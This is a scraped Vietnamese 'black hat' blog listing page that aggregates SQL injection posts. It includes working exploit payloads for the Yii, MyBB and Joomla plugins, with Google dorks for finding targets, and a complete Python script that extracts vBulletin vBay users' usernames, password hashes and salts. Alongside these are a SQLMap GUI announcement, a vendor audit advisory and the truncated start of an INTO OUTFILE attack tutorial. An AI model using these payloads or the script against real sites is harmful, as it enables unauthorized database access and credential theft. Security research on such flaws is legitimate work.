Kiến thức Black Hat: SQL Injection

Kiến thức Blackhat

Menu

[J2TeaM] SQLMap GUI by Juno_okyo

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0b7emsrMNgTgfK5cBViBZBC5U9tpPn8Tl845sWRD_g8xbEuKW7_ehXiUSqoB6x2UHJ_UK5hrcR6vy2nl_CtIxzKZlfw570nQei9R1umiAMySOQayjYXuBMGzTy8dx3INc5tL50u4kwRMh/s1600/SQLMap+GUI+Premium.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="SQLMap GUI by Juno_okyo" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0b7emsrMNgTgfK5cBViBZBC5U9tpPn8Tl845sWRD_g8xbEuKW7_ehXiUSqoB6x2UHJ_UK5hrcR6vy2nl_CtIxzKZlfw570nQei9R1umiAMySOQayjYXuBMGzTy8dx3INc5tL50u4kwRMh/s1600/SQLMap+GUI+Premium.PNG" title="SQLMap GUI by Juno_okyo"></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>GUI for SQLMap</b></td></tr></tbody></table><div style="text-align: left;">Rảnh rỗi ngồi làm <b>GUI cho SQLMap</b> - một công cụ khai thác <b>SQL Injection</b> tự động. Nếu chưa biết <b><a href="http://sqlmap.org/" target="_blank">SQLMap</a></b> thì bạn có thể xem qua bài viết "<b><a href="http://junookyo.blogspot.com/2015/01/kiem-thu-tan-cong-sql-injection-voi-dvwa-va-sqlmap.html" target="_blank">Kiểm thử tấn công SQL Injection với DVWA và SQLMap</a></b>".</div><div style="text-align: left;"><br></div><a href="http://junookyo.blogspot.com/2015/02/j2team-sqlmap-gui-by-juno-okyo.html#more">ĐỌC TIẾP »</a>

[J2TeaM] SQLMap GUI by Juno_okyo

[J2TeaM] SQLMap GUI by Juno_okyo

GUI for SQLMap Rảnh rỗi ngồi làm GUI cho SQLMap - một công cụ khai thác SQL Injection tự động. Nếu chưa biết SQLMap thì bạn có thể xem qu...

Kiểm thử tấn công SQL Injection với DVWA và SQLMap

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBT_NNtqGGc86v9cWsCy_Fo-hj6hnWiIeow_d8_J50h88WCCxW7YGJAgSGqExD0yhv9CaJWExIahJ6lu_z_uGLen2Qrw-eKcMpQvqgUA0pITNfkBQMItlO18dBr8N5EI3MnnPl51IDsSLY/s1600/flow+a+-+sql+inject.gif" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="SQL Injection" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBT_NNtqGGc86v9cWsCy_Fo-hj6hnWiIeow_d8_J50h88WCCxW7YGJAgSGqExD0yhv9CaJWExIahJ6lu_z_uGLen2Qrw-eKcMpQvqgUA0pITNfkBQMItlO18dBr8N5EI3MnnPl51IDsSLY/s1600/flow+a+-+sql+inject.gif" title="SQL Injection"></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>SQL Injection</b></td></tr></tbody></table><div style="text-align: left;">Hướng dẫn kiểm thử tấn công <b>SQL Injection</b> trên môi trường giả lập <b>DVWA</b> và khai thác tự động với <b>SQLMap</b>.<br><br><br></div><a href="http://junookyo.blogspot.com/2015/01/kiem-thu-tan-cong-sql-injection-voi-dvwa-va-sqlmap.html#more">ĐỌC TIẾP »</a>

Kiểm thử tấn công SQL Injection với DVWA và SQLMap

Kiểm thử tấn công SQL Injection với DVWA và SQLMap

SQL Injection Hướng dẫn kiểm thử tấn công SQL Injection trên môi trường giả lập DVWA và khai thác tự động với SQLMap . ĐỌC TIẾP »

Kloxo dính lỗi bảo mật SQL injection và cách khắc phục

Với lỗi bảo mật này, <a href="http://junookyo.blogspot.com/search/label/Hacking%20and%20Security" target="_blank"><b>Hacker</b></a> có thể truy cập trái phép vào <b>Kloxo cPanel</b> dưới quyền <b>Admin</b>. Vì  vấn đề khá nguy hiểm nên mình ko muốn post tool và phân tích bug mà sẽ  post cách khắc phục thôi nhé. Bác nào hiểu thì tự tìm hiểu tiếp, nếu biết rồi cũng ko nên public ra làm gì vì hiện giờ rất nhiều hệ thống đang sử dụng <b>Kloxo</b>.<br><br>* Hiểm họa: <b>Hacker</b> sẽ có thể đăng nhập dưới quyền <b>Admin Kloxo</b> và... sẽ ko làm gì hết?<br><br><br><div style="text-align: center;"><div class="resizewraper"><a href="http://sinhvienit.net/forum/kloxo-dinh-loi-sql-injection-giup-attacker-dung-quyen-admin-cach-khac-phuc.304735.html" id="vtlai_auto_link_back_1" style="cursor: default;" target="_blank" title=" Kloxo dính lỗi SQL injection giúp attacker dùng quyền admin + Cách khắc phục"><img alt="" border="0" src="http://blog.nixwind.com/wp-content/uploads/2011/06/kloxo-login.png"></a></div><i>Lỗi <a href="http://junookyo.blogspot.com/search/label/SQL%20Injection" target="_blank"><b>SQL Injection</b></a> này giúp attacker login dưới quyền admin</i></div><br>Thôi kệ nó, giờ đi khắc phục nhé!<br><br><a href="http://junookyo.blogspot.com/2014/02/kloxo-dinh-loi-bao-mat-sql-injection-va-cach-khac-phuc.html#more">ĐỌC TIẾP »</a>

Kloxo dính lỗi bảo mật SQL injection và cách khắc phục

Kloxo dính lỗi bảo mật SQL injection và cách khắc phục

Với lỗi bảo mật này, Hacker có thể truy cập trái phép vào Kloxo cPanel dưới quyền Admin . Vì vấn đề khá nguy hiểm nên mình ko muốn post t...

XSS Injection Via SQLi Vulnerability

<div style="text-align: center;"><img alt="XSS Injection Via SQLi Vulnerability | Juno_okyo's Blog" height="367" id="il_fi" src="http://www.techmynd.com/wp-content/uploads/2009/02/xss-attacks.jpg" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" title="XSS Injection Via SQLi Vulnerability | Juno_okyo's Blog" width="500"></div><span style="font-family: Trebuchet MS, sans-serif;"># XSS Injection Using SQL Injection Vulnerability</span><br><span style="font-family: Trebuchet MS, sans-serif;"># Trick is based on Hexa Decimal Encoding.</span><br><span style="font-family: Trebuchet MS, sans-serif;"></span><span style="font-family: Trebuchet MS, sans-serif;"><br></span><span style="font-family: Trebuchet MS, sans-serif;">[0x01] You got SQLi vulnerability in website</span><br><span style="font-family: Trebuchet MS, sans-serif;">http://www.vulnerable.com/index.php?id=560</span><br><span style="font-family: Trebuchet MS, sans-serif;"><br></span><span style="font-family: Trebuchet MS, sans-serif;">[0x02] Next count the columns. You got 5 columns and column 3 is</span><br><span style="font-family: Trebuchet MS, sans-serif;">vulnerable.</span><a href="http://junookyo.blogspot.com/2012/11/xss-injection-via-sqli-vulnerability.html#more">ĐỌC TIẾP »</a>

XSS Injection Via SQLi Vulnerability

XSS Injection Via SQLi Vulnerability

# XSS Injection Using SQL Injection Vulnerability # Trick is based on Hexa Decimal Encoding. [0x01] You got SQLi vulnerability in website ht...

Sphpforum 0.4 Cross Site Scripting / SQL Injection

Sphpforum 0.4 Cross Site Scripting / SQL Injection

Sphpforum 0.4 Cross Site Scripting / SQL Injection

# Product: sphpforum # Version: 0.4 (older versions may be affected) # # Software Download: http://sourceforge.net/projects/sphpforum/ # Des...

Smart Hunter v.1.4.3 Public Version

Smart Hunter v.1.4.3 Public Version

Smart Hunter v.1.4.3 Public Version

Download : http://adf.ly/FRrSF

SQLCake - automatic SQL injection exploitation kit

SQLCake - automatic SQL injection exploitation kit

SQLCake - automatic SQL injection exploitation kit

What is sqlcake? sqlcake is an automatic SQL injection exploitation kit written in Ruby . It's designed for system administration and p...

Yii Framework - Search SQL Injection Vulnerability

<pre># Exploit Title: Yii Framework - Search SQL Injection Vulnerability<br /># Google Dork: No Dork<br /># Date: 20/11/2012<br /># Exploit Author: Juno_okyo<br /># Vendor Homepage: http://www.yiiframework.com/<br /># Software Link: http://www.yiiframework.com/download/<br /># Version: 1.1.8 (maybe another version)<br />#<br />##############################<br />################################################################<br />Vulnerability:<br />##############################################################################################<br /><br />SQL Injection via search form. You can query to get some info about administrator account and something...<br /><br />##############################################################################################<br />Exploitation:<br />##############################################################################################<br /><br />' UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 fRom user-- -<br /><br />##############################################################################################<br />Ex:<br />##############################################################################################<br /><br />1. Put a query in search form with quotes: http://i.imgur.com/8OShy.png<br />2. It will display an error message: http://i.imgur.com/b8Tbo.png<br />3. Now, get some info with SQL Injection: http://i.imgur.com/qLjc0.png<br />4. Result: http://i.imgur.com/dgCRU.png<br /><br />##############################################################################################<br />More Details:<br />##############################################################################################<br /><br />Website: http://junookyo.blogspot.com/<br />About Exploit: http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html<br /><br />##############################################################################################<br />Great thanks to Juno_okyo and James - J2TeaM<br />##############################################################################################<br /></pre><br /><span class="short_text" id="result_box" lang="en"><span class="">Published (21/11/2012):</span></span><br /><span class="short_text" id="result_box" lang="en"><span class="">[+] http://www.exploit-db.com/exploits/22877</span></span><br /><span class="short_text" id="result_box" lang="en"><span class="">[+] http://www.1337day.com/exploit/19778</span></span><br /><span class="short_text" id="result_box" lang="en"><span class="">[+] http://cxsecurity.com/issue/WLB-2012110151</span></span>

Yii Framework - Search SQL Injection Vulnerability

Yii Framework - Search SQL Injection Vulnerability

# Exploit Title: Yii Framework - Search SQL Injection Vulnerability # Google Dork: No Dork # Date: 20/11/2012 # Exploit Author: Juno_okyo # ...

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

<pre>WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting<br />Software: WP e-Commerce<br />Software Language: PHP<br />Version: 3.8.9 and below<br />Vendor Status: Vendor contacted<br />Release Date: 2012-11-12<br />Risk: High<br /> <br /> <br /> <br />1. General Overview<br />===================<br />During the security audit of WP E-Commerce plugin for WordPress CMS,<br />multiple vulnerabilities were discovered using DefenseCode ThunderScan<br />PHP web application source code security analysis platform.<br />More information about ThunderScan PHP is available at URL:<br />http://www.defensecode.com/subcategory/thunderscan-8<br /> <br />Detailed report for each vulnerability can be found in the following PDF<br />report:<br />http://www.defensecode.com/public/wp-e-commerce_security_audit_final_report.pdf<br /> <br />Report has been generated by ThunderScan PHP Web Application Source Code<br />Security Analysis.<br /> <br /> <br />2. Software Overview<br />===================<br />WP e-Commerce is a popular e-commerce plugin for WordPress. Users can<br />use it to to sell products, downloads or services online. It has more<br />than 2 Million downloads on wordpress.org.<br /> <br />Homepage:<br />http://wordpress.org/extend/plugins/wp-e-commerce/<br />http://getshopped.org/<br /> <br /> <br />3. Brief Vulnerability Description<br />==================================<br />During the security analysis, ThunderScan PHP discovered multiple SQL<br />Injection and Cross Site Scripting vulnerabilities in WP e-Commerce plugin.<br /> <br />3.1. SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results($sql)<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 699 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.2 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 681 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.3 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 525 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.4 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function:  get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 543 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.5 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function:  get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 534 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.6 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function:  get_results( $sql )<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 689 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.7 Cross-Site Scripting<br />File: wp-e-commerce\wpsc-admin\includes\purchase-log-list-ta<br />ble-class.php<br />Function: echo ('<input type="hidden" name="m" value="' . $m . '" />')<br />Variable: $_REQUEST['m']<br /> <br /> <br />4. Solution<br />===========<br />Vendor resolved security issues in latest WP e-Commerce release. All<br />users are strongly advised to update WP e-Commerce plugin to the latest<br />available version 3.8.9.1.<br /> <br /># 1337day.com [2012-11-19]<br /></pre>

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting Software: WP e-Commerce Software Language: PHP Version: 3.8.9 and below V...

SQL Injection - Useful Functions - Tutorial

SQL Injection - Useful Functions - Tutorial

SQL Injection - Useful Functions - Tutorial

Here are some useful function that you can use to speed up your injection and/or evade some WAFs. If group_concat() or concat() are not avai...

vBulletin vBay <=1.1.9 Error-Based SQL Injection

<pre>#!/usr/bin/env python -W ignore::DeprecationWarning<br />  <br />"""<br />  <br />   VBay <= 1.1.9 - Remote Error based SQL Injection<br />    <br />                        ~ Author:  Dan UK<br />                        ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599<br />                        ~ Date:    10/11/12<br />          <br />           DETAILS<br />           Among a couple of other unsanitized parameters used within an INSERT INTO statement<br />           on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this<br />           using error based sql injection, making it possible to grab anything the user wants<br />           from the vbulletin database (and any others if accessible).<br />    <br />           As said above, the affected file is /upload/vbay.php.<br />           On line 418, we can see the $vbulletin->input variable "type"<br />           being assigned with the datatype NO_HTML. Using this data type<br />           allows malicious attacks to still be executed.<br />    <br />           At line 448, it is used within the insert into statement,<br />           without any sanitization.<br />    <br />          <br />           POC<br />           - You will need to register an account.<br />           - Go to [site]/vbay.php?do=postauction.<br />           - Modify your post data using a tool such as live http headers, or setting it directly<br />             using a tool such as curl/wget to grab the source.<br />           - Set the value of "type=" to something that will cause an error, such as a single tick.<br />             Example: POST type='<br />           - If, when you view the source, you get a vbulletin error message surrounded within<br />             comments, then it's possible to go ahead. If not, blind is the way forward.<br />    <br />           If error based is possible for you, you could either just simply look at some tutorials<br />           and go from there, or run the script below which will grab the details for the user specified.<br />    <br />           Have fun.<br />  <br />"""<br />  <br />from optparse import OptionParser, OptionGroup<br />from argparse import OPTIONAL<br />import cookielib, urllib, urllib2, httplib<br />import sys, md5, urlparse, re<br />  <br />"""<br />OPTION PARSER/USAGE<br />"""<br />usage = "./%prog [options]\n"<br />usage += "-h or --help for more help."<br />  <br /># Required options<br />parser = OptionParser(usage=usage)<br />parser.add_option("-u", dest="username",<br />                  help="Working username to the target forum.")<br />parser.add_option("-p", dest="password",<br />                  help="Working password to the target forum.")<br />parser.add_option("--host", dest="forumpath",<br />                  help="FULL path to the vbulletin forum.")<br />  <br /># Optional Options<br />optional = OptionGroup(parser, "Optional arguments")<br />optional.add_option("-f", dest="userid",<br />                    help="User ID to grab. Default is 1.", metavar="USERID",<br />                    default="1")<br />optional.add_option("-s", dest="prefix",<br />                    help="Set the prefix of the vBulletin forum\<br />                         Default is null.", default="")<br />optional.add_option("-g", "--grab-prefix", dest="grabprefix",<br />                    help="Grab the tables prefix.", default=False,<br />                    action="store_true")<br />  <br />parser.add_option_group(optional)<br />  <br />(options, args) = parser.parse_args()<br />  <br />if not options.forumpath:<br />    parser.error('[-] No forum path given.')<br />if not options.username:<br />    parser.error('[-] No username given.')<br />if not options.password:<br />    parser.error('[-] No password given.')<br />  <br />  <br />"""<br />HEADER<br />"""<br />def Header():<br />    header = """<br /># # # # # # # # # # # # # # # # # #<br /># VBay <=1.1.9 SQL Injection 0day #<br />#            By Dan_UK            #<br /># # # # # # # # # # # # # # # # # #\n"""<br />    return header<br />  <br />"""<br />LOGIN AND EXTRACT NEEDED COOKIES<br />"""<br />def loginForum(forum, username, password):<br />    md5pass = md5.md5(password).hexdigest()<br />    postdata = urllib.urlencode({<br />                'do':'login',<br />                'vb_login_md5password':md5pass,<br />                'vb_login_username':username,<br />                'cookieuser':'1'<br />               })<br />    cookie_jar = cookielib.CookieJar()<br />    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />    handeler.open(forum + "login.php?do=login", postdata)<br />    <br />    for cookie in cookie_jar:<br />        if "bbsessionhash" in str(cookie):<br />            return cookie_jar<br />  <br />  <br />"""<br />CHECK VBAY EXISTS<br />"""<br />def get_server_status_code(forum):<br />    host, path = urlparse.urlparse(forum)[1:3]<br />    try:<br />        conn = httplib.HTTPConnection(host)<br />        conn.request('HEAD', path)<br />        return conn.getresponse().status<br />    except StandardError:<br />        return None<br />  <br />def checkExists(forum):<br />    good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]<br />    return get_server_status_code(forum + "vbay.php") in good_codes<br />  <br />"""<br />CHECK DEBUG MODE ENABLED<br />"""<br />def checkVuln(forum, cookie_jar):<br />    payload = {<br />               "POST":<br />                      urllib.urlencode({"type":"'"}),<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    try:<br />        handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />        resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])<br />    except urllib2.HTTPError as e:<br />        e_mesg = e.read()<br />        <br />    if "MySQL Error" in e_mesg:<br />        return True<br />  <br />"""<br />GRAB PREFIX<br />"""<br />def grabPrefix(forum, cookie_jar):<br />    payload = {<br />               "SQL":urllib.urlencode({"type":"'"}),<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    <br />    try:<br />        handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />        resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])<br />    except urllib2.HTTPError as e:<br />        e_mesg = e.read()<br />    <br />    prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)<br />    return prefix<br />        <br />    <br />  <br />"""<br />GRAB INFO<br />"""<br />def grabInfo(forum, cookie_jar, prefix, userid):<br />    # 0x2564656c696d312125 = "%delim1!%"<br />    payload = {<br />                "SQL":<br />                      urllib.urlencode({<br />                       "type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",<br />                      }),<br />               "COLS": ["username", "password", "salt"],<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    <br />    info = []<br />    for col in payload["COLS"]:<br />        print "[!] Grabbing the %s" % col<br />        try:<br />            handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />            resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))<br />        except urllib2.HTTPError as e:<br />            e_mesg = e.read()<br />            info.append(e_mesg.split("%delim1!%")[1].strip("\n"))<br />    return info<br />    <br />    <br />"""<br />MAIN<br />"""<br />def main():<br />     username = options.username<br />     password = options.password<br />     forum = options.forumpath<br />     userid = options.userid<br />     prefix = options.prefix<br />      <br />     if forum.lower()[:7] != "http://":<br />         if forum.lower()[:8] == "https://":<br />             forum = forum.replace("https://", "http://")<br />     if forum[-1:] != "/":<br />         forum = forum + "/"<br />              <br />     print Header()<br />      <br />     print "[!] Trying to login to: " + forum<br />     if loginForum(forum, username, password):<br />         cookies = loginForum(forum, username, password)<br />         print "[+] Login works."<br />     else:<br />         print "[-] Login doesn't work. (" + username + ":" + password + ")"<br />         print "[-] Exiting."<br />         sys.exit()<br />          <br />     print "\n[!] Checking if vBay is installed.."<br />     if (checkExists(forum)):<br />         print "[+] vBay was found. Continuing with exploit."<br />     else:<br />         print "[-] vBay could no be found. (" + forum + "/vbay.php)"<br />         print "[-] Exiting."<br />         sys.exit()<br />          <br />     print "\n[!] Checking if debug mode is enabled.."<br />     if checkVuln(forum, cookies):<br />         print "[+] Debug mode is enabled, exploit is possible."<br />          <br />     if options.grabprefix == True:<br />         print "\n[!] Grabbing prefix."<br />         print "[+] Prefix found:" + grabPrefix(forum, cookies)   <br />         sys.exit()<br />          <br />          <br />     print "\n[!] Grabbing info.\n"<br />     info = grabInfo(forum, cookies, prefix, userid)<br />     print "\n[+] Formatting for ease of view."<br />     print "\n\n[+] Username: " + info[0]<br />     print "[+] Password: " + info[1]<br />     print "[+] Salt: " + info[2]<br />     print "\n\nThanks for using my tool."<br />          <br />      <br />if __name__ == "__main__":<br />    main()<br /></pre>

vBulletin vBay <=1.1.9 Error-Based SQL Injection

vBulletin vBay <=1.1.9 Error-Based SQL Injection

#!/usr/bin/env python -W ignore::DeprecationWarning """ VBay <= 1.1.9 - Remote Error based SQL Injection ...

How to SQL Inject with SQLMAP on BackTrack 5

How to SQL Inject with SQLMAP on BackTrack 5

How to SQL Inject with SQLMAP on BackTrack 5

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9 Tut: 1. Tạo cái user trên forum victim. 2. Tạo cái Album rồi upload hình lên. ->...

MyBB Follower User Plugin SQL Injection

<pre><br /># Exploit Title: Follower User MyBB plugin SQL Injection 0day<br /># Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us<br /># Date: 13.10.2012<br /># Exploit Author: Th3FreakPony<br /># Software Link: http://mods.mybb.com/view/suscriber-user<br /># Version: 1.5+<br /># Tested on: Linux.<br />----------------------------------------------<br /><br />The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():<br /><br />$usid = $mybb->input[usid]; //Line 671<br />$uid = $mybb->input[uid]; //Line 672<br />if(user_awaiting($uid,$usid)) //Line 781<br />{ //Line 782<br />redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783<br />} //Line 784<br />?><br /><br /><br />----------------------------------------------<br /><br />Instructions:<br />1. Create a new account on the target site.<br />2. Check your User ID by entering your profile link and write it down.<br />3. Enter here and start to inject your code:<br /><br />/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]<br /><br />----------------------------------------------<br /><br />Demo:<br />http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]<br />Image : http://i.imgur.com/eGhzJ.png<br /><br /><br />Follow: https://twitter.com/PonyBlaze<br /><br /><br />Shotouts goes to FillySec. <br /></pre>

MyBB Follower User Plugin SQL Injection

MyBB Follower User Plugin SQL Injection

# Exploit Title: Follower User MyBB plugin SQL Injection 0day # Google Dork: intext:"Users subscribed to" inurl:member.php -site:f...

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

<pre>1 ######################################### 1<br />0 I'm D4NB4R member from Inj3ct0r Team 1<br />1 ######################################### 0<br />0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1<br /><br />#Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability<br /><br />Dork: inurl:index.php?option=com_spidercatalog<br /><br />Date: [31-10-2012]<br /><br />Author: Daniel Barragan "D4NB4R"<br /><br />Twitter: @D4NB4R<br /><br />Vendor: http://www.web-dorado.com/<br /><br />Demo: http://www.web-dorado.com/products/joomla-catalog.html<br /><br />Version: 1.1 (last update on Sep 25, 2012)<br /><br />License: GPLv2 or later Commercial<br /><br />Tested on: [Linux(Arch)-Windows(7ultimate)]<br /><br /><br />Descripcion:<br /><br />Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.<br /><br /><br />Vulnerable Parameter Name:<br /><br />product_id<br /><br />Parameter Type:<br /><br />Querystring<br /><br /><br />Attack Pattern:<br /><br />-{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%28 1%2c1%29%3E%28select%20count%28*%29%2cconcat%28CON CAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D, 0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20fro m%20%28select%201%20union%20select%202%29a%20group %20by%20x%20limit%201%29%29%2b%27&view=showproduct &page_num=1&back=1<br /><br /><br /><br />Exploit Demo:<br /><br />SQLi : SQL injection<br /><br />http://localhost/index.php?option=co...e_num=1&back=1<br /><br /><br /><br />Greetz: All Member Inj3ct0r Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha<br />* shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic<br />* Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel<br />* L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects<br />* aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe<br />* ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te<br /><br /><br />__________________________________________________ ___<br />Daniel Barragan "D4NB4R" 2012 <br /></pre>

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=...

Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection

Trong bài vi<span style="font-family: Arial;">ế</span>t này tôi s<span style="font-family: Arial;">ẽ</span> đ<span style="font-family: Arial;">ề</span> c<span style="font-family: Arial;">ậ</span>p đ<span style="font-family: Arial;">ế</span>n câu l<span style="font-family: Arial;">ệ</span>nh <b class="bbc">"into outfile"</b>, 1 câu l<span style="font-family: Arial;">ệ</span>nh m<span style="font-family: Arial;">ặ</span>c đ<span style="font-family: Arial;">ị</span>nh c<span style="font-family: Arial;">ủ</span>a MySQl nh<span style="font-family: Arial;">ư</span><span style="font-family: Calibri;">ng l</span><span style="font-family: Arial;">ạ</span>i r<span style="font-family: Arial;">ấ</span>t h<span style="font-family: Arial;">ữ</span>u ích cho các attacker khi t<span style="font-family: Arial;">ấ</span>n công web b<span style="font-family: Arial;">ị</span> dính l<span style="font-family: Arial;">ỗ</span>i SQL Injection (t<span style="font-family: Arial;">ấ</span>t nhiên DBs là MySQL). Ngoài ra chúng ta cũng s<span style="font-family: Arial;">ẽ</span> xem xét qua m<span style="font-family: Arial;">ộ</span>t s<span style="font-family: Arial;">ố</span> đi<span style="font-family: Arial;">ề</span>u ki<span style="font-family: Arial;">ệ</span>n nh<span style="font-family: Arial;">ư</span><span style="font-family: Calibri;"> quy</span><span style="font-family: Arial;">ề</span>n đ<span style="font-family: Arial;">ố</span>i v<span style="font-family: Arial;">ớ</span>i file (FILE privilege) và v<span style="font-family: Arial;">ấ</span>n đ<span style="font-family: Arial;">ề</span> th<span style="font-family: Arial;">ư</span><span style="font-family: Calibri;"> m</span><span style="font-family: Arial;">ụ</span>c liên quan.<br><br><span style="color: red;">Chú ý: T</span><span style="color: red;"><span style="font-family: Arial;">ấ</span></span><span style="color: red;">n công m</span><span style="color: red;"><span style="font-family: Arial;">ộ</span></span><span style="color: red;">t website mà ch</span><span style="color: red;"><span style="font-family: Arial;">ư</span></span><span style="color: red;"><span style="font-family: Calibri;">a có s</span></span><span style="color: red;"><span style="font-family: Arial;">ự</span></span><span style="color: red;"> đ</span><span style="color: red;"><span style="font-family: Arial;">ồ</span></span><span style="color: red;">ng ý c</span><span style="color: red;"><span style="font-family: Arial;">ủ</span></span><span style="color: red;">a ch</span><span style="color: red;"><span style="font-family: Arial;">ủ</span></span><span style="color: red;"> nhân là vi ph</span><span style="color: red;"><span style="font-family: Arial;">ạ</span></span><span style="color: red;">m pháp lu</span><span style="color: red;"><span style="font-family: Arial;">ậ</span></span><span style="color: red;">t. Bài vi</span><span style="color: red;"><span style="font-family: Arial;">ế</span></span><span style="color: red;">t này ch</span><span style="color: red;"><span style="font-family: Arial;">ỉ</span></span><span style="color: red;"> mang tính nghiên c</span><span style="color: red;"><span style="font-family: Arial;">ứ</span></span><span style="color: red;">u và h</span><span style="color: red;"><span style="font-family: Arial;">ọ</span></span><span style="color: red;">c h</span><span style="color: red;"><span style="font-family: Arial;">ỏ</span></span><span style="color: red;">i. Tôi khuy</span><span style="color: red;"><span style="font-family: Arial;">ế</span></span><span 